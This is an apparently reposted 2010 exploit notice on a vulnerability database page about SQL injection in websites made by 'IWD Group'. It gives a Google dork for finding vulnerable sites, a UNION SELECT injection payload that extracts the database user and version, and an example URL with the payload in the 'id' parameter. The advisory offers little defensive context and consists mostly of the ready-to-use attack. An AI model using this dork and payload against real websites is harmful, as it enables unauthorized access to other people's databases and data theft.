Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:23695
HistoryApr 26, 2010 - 12:00 a.m.

IWD Group SQL Injection Vulnerabilities

2010-04-2600:00:00
vulners.com
35

#------------------In The Name Of God------------

IWD Group SQL Injection Vulnerabilities

###################################
#AUTHOR: md.r00t
#Mail: [email protected]
#Webstie: www.r00t.gigfa.com

###################################
#Google D0rk:

"Designed by IWD Group"

###################################
#Exploit:
#---------

195 and 1=2 Union select 1,2,concat(user(),char(58,58,58),version()),4

###################################
#Example:

http://www.Site.com/index.php?page=headline&id=195 and 1=2 Union select1,2,concat(user(),char(58,58,58),version()),4
###################################
#TNX:
#Aria-Security Team (Persian Security Network),Virangar Security Team